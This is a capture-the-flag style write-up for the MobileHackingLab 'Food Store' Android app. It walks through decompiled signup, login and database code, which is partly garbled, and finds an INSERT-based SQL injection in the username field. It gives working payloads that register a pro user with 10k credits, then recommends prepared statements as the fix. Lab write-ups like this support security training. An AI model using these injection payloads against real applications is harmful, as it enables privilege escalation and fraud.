MHL - Food Store

Solution

Step 0: The task

Step 1: Static Analysis

    <activity android:name="com.mobilehackinglab.foodstore.Signup" android:exported="false" ></activity>
    <activity android:name="com.mobilehackinglab.foodstore.MainActivity" android:exported="true" ></activity>
    <activity android:name="com.mobilehackinglab.foodstore.LoginActivity" android:exported="true" >

We have 3 screens: Login, Signup and Main Activity

From SignUp create user d look Interesting.

private static final void onCreate$lambda$0(Signup this$0,View it){
   EditText uEditText1;
   Signup username1;
   Signup password;
   Object obj = this$0;
   Intrinsics.checkNotNullParameter(obj, "this$0");
   Signup username = obj.username;
   String str = "username";
   EditText uEditText = null;
   if (username == null) {
      Intrinsics.throwUninitializedPropertyAccessException(str);
      username = uEditText;
   }
   int i = 1;
   int i1 = (!StringsKt.trim(username.getText().toString()).toString().length())? i: 0;
   if (!i1) {
      if ((username = obj.password) == null) {
         Intrinsics.throwUninitializedPropertyAccessException("password");
         uEditText1 = uEditText;
      }
      i1 = (!StringsKt.trim(uEditText1.getText().toString()).toString().length())? i: 0;
      if (!i1) {
         if ((username = obj.address) == null) {
            Intrinsics.throwUninitializedPropertyAccessException("address");
            uEditText1 = uEditText;
         }
         if (StringsKt.trim(uEditText1.getText().toString()).toString().length()) {
            i = 0;
         }
         if (!i) {
            DBHelper dbHelper = new DBHelper(obj);
            if ((username1 = obj.username) == null) {
               Intrinsics.throwUninitializedPropertyAccessException(str);
               username1 = uEditText;
            }
            String str1 = username1.getText().toString();
            if ((password = obj.password) == null) {
               Intrinsics.throwUninitializedPropertyAccessException("password");
               password = uEditText;
            }
            String str2 = password.getText().toString();
            if ((password = obj.address) == null) {
               Intrinsics.throwUninitializedPropertyAccessException("address");
            }else {
               uEditText = password;
            }
            User i2 = new User(0, str1, str2, uEditText.getText().toString(), false, 1, null);
            User newUser = i;
            d
            Toast.makeText(obj, "User Registered Successfully", 0).show();
         label_00e9 :
            return;
         }
      }
   }
   Toast.makeText(obj, "Please fill in all fields", 0).show();
   goto label_00e9 ;
}

Step 2: The bug

From LoginActivity, if we are pro user app set a 10k credits.

public static void $r8$lambda$Yb7g_4tDwQYB9c1LrrhUUd8D64o(LoginActivity p0,View p1){
   LoginActivity.onCreate$lambda$2(p0, p1);
}
public static void $r8$lambda$m_IBvDGKGqF6z3GgooWFf_a4H8Q(EditText p0,EditText p1,LoginActivity p2,View p3){
   LoginActivity.onCreate$lambda$1(p0, p1, p2, p3);
}
public void LoginActivity(){
   super();
}
private static final void onCreate$lambda$1(EditText $usernameEditText,EditText $passwordEditText,LoginActivity this$0,View it){
   Intrinsics.checkNotNullParameter(this$0, "this$0");
   String inputUsername = $usernameEditText.getText().toString();
   String inputPassword = $passwordEditText.getText().toString();
   User user = this$0.getDbHelper().getUserByUsername(inputUsername);
   int i = 0;
   if (user != null && Intrinsics.areEqual(user.getPassword(), inputPassword)) {
      Toast.makeText(this$0, "Login Successful", i).show();
      
      Intent intentx = new Intent(this$0, MainActivity.class);
      Intent $this$onCreate_u24lambda_u241_u24lambda_u240 = intentx;
      int $i$a$-apply-LoginActivity$onCreate$1$intent$1 = 0;
      $this$onCreate_u24lambda_u241_u24lambda_u240.putExtra("USERNAME", inputUsername);
      $this$onCreate_u24lambda_u241_u24lambda_u240.putExtra("USER_CREDIT", i);
      $this$onCreate_u24lambda_u241_u24lambda_u240.putExtra("IS_PRO_USER", user.isPro());
      $this$onCreate_u24lambda_u241_u24lambda_u240.putExtra("USER_ADDRESS", user.getAddress());
      this$0.startActivity(intentx);
      this$0.finish();
   }else {
      Toast.makeText(this$0, "Invalid Credentials", i).show();
   }
   return;

From DBHelper

public final void addUser(User user){
   Intrinsics.checkNotNullParameter(user, "user");
   SQLiteDatabase db = this.getWritableDatabase();
   byte[] bytes = user.getPassword().getBytes(Charsets.UTF_8);
   Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String\).getBytes\(charset\)");
   String encodedPassword = Base64.encodeToString(bytes, 0);
   String Username = user.getUsername();
   byte[] bytes1 = user.getAddress().getBytes(Charsets.UTF_8);
   Intrinsics.checkNotNullExpressionValue(bytes1, "this as java.lang.String\).getBytes\(charset\)");
   String encodedAddress = Base64.encodeToString(bytes1, 0);
   String sql = "INSERT INTO users \(username, password, address, isPro\) VALUES \(\'"++"\', \'"+encodedPassword+"\', \'"+encodedAddress+"\', 0\)";
   
   db.close();
}

The bug is a SQL Injection Insert Based over SQLite, uncommon injection but explotation is pretty simple

INSERT INTO users (username, password) VALUES ('my_user', 'password'MY_PAYLOAD)

Step 3: Dynamic Analysis

At this point we need to develop our payload, lucky for us this script intercept sqlite functions, create database, insert, select is covered. https://codeshare.frida.re/@ninjadiary/sqlite-database/

I download the script, and run it

There is a single point of insertion at username. password and address is encoded in base64, before saved in database.

First try

Payload in user text box

user2','cHdkMQ==', 'YWRkcmVzcyAx',1)--

Become.

INSERT INTO users (username, password, address, isPro) VALUES ('user2','cHdkMQ==', 'YWRkcmVzcyAx',1)--', 'cHdkMQ==', 'YWRkcmVzcyAx', 0)

Failing,

Second try

Payload

user2','cHdkMQ==', 'YWRkcmVzcyAx',1);--

Become

INSERT INTO users (username, password, address, isPro) VALUES ('user2','cHdkMQ==', 'YWRkcmVzcyAx',1);--', 'cHdkMQ==', 'YWRkcmVzcyAx', 0)

Final

user2 is added, and we get 10k credits. 👏

Behind the scenes, look the record in database.

The fix

Use prepared statements, for every param, android docs are good enought, https://developer.android.com/reference/java/sql/PreparedStatement

Last updated